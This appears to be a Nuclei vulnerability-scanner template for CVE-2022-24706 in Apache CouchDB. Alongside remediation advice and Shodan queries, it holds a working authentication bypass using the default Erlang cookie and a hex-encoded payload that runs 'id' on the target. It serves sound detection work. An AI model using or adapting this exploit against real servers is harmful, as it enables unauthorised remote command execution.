CVE-2022-24706: CouchDB Erlang Distribution - Remote Command Execution

id: CVE-2022-24706

info:
  name: CouchDB Erlang Distribution - Remote Command Execution
  author: Mzack9999,pussycat0x
  severity: critical
  description: |
    In Apache CouchDB prior to 3.2.2, an attacker can access an improperly secured default installation without authenticating and gain admin privileges.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the affected system.
  remediation: |
    Upgrade to versions 3.2.2 or newer. Starting from CouchDB 3.2.2, the previous default Erlang cookie value "monster" will be rejected upon startup. Upgraded installations will be required to select an alternative value.
  reference:
    - https://www.exploit-db.com/exploits/50914
    - https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit/blob/main/CVE-2022-24706-Exploit.py
    - https://nvd.nist.gov/vuln/detail/CVE-2022-24706
    - http://www.openwall.com/lists/oss-security/2022/04/26/1
    - http://www.openwall.com/lists/oss-security/2022/05/09/1
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-24706
    cwe-id: CWE-1188
    epss-score: 0.94389
    epss-percentile: 0.99968
    cpe: cpe:2.3:a:apache:couchdb:*:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 2
    vendor: apache
    product: couchdb
    shodan-query:
      - product:"CouchDB"
      - product:"couchdb"
      - cpe:"cpe:2.3:a:apache:couchdb"
  tags: cve2022,network,cve,couch,rce,kev,couchdb,apache,tcp

variables:
  name_msg: "00156e00050007499c4141414141414041414141414141"
  challenge_reply: "00157201020304"
  cookie: "monster"
  cmd: "0000006670836804610667770e41414141414140414141414141410000000300000000007700770372657883680267770e41414141414140414141414141410000000300000000006805770463616c6c77026f737703636d646c000000016b000269646a770475736572"

tcp:
  - host:
      - "{{Hostname}}"
      - "{{Host}}:9100"

    inputs:
      # auth
      - data: "{{name_msg}}"
        type: hex
        read: 1024
      - read: 1024
        name: challenge
      - data: "{{challenge_reply+md5(cookie + to_string(unpack('>I',substr(challenge, 9, 13))))}}"
        type: hex
      # rce
      - data: "{{cmd}}"
        type: hex
        read: 1024

    matchers:
      - type: word
        part: raw
        words:
          - "uid"
          - "gid"
          - "groups"
        condition: and
# digest: 490a004630440220275249682034a222b4cf681b8d5db4819f9f73b3f31b7c179899521f7d18c3d60220505f6292f8229924f53872c26ad7a2c84b333ee743961d277b0f7381820ece57:922c64590222798bb761d5b6d8e72950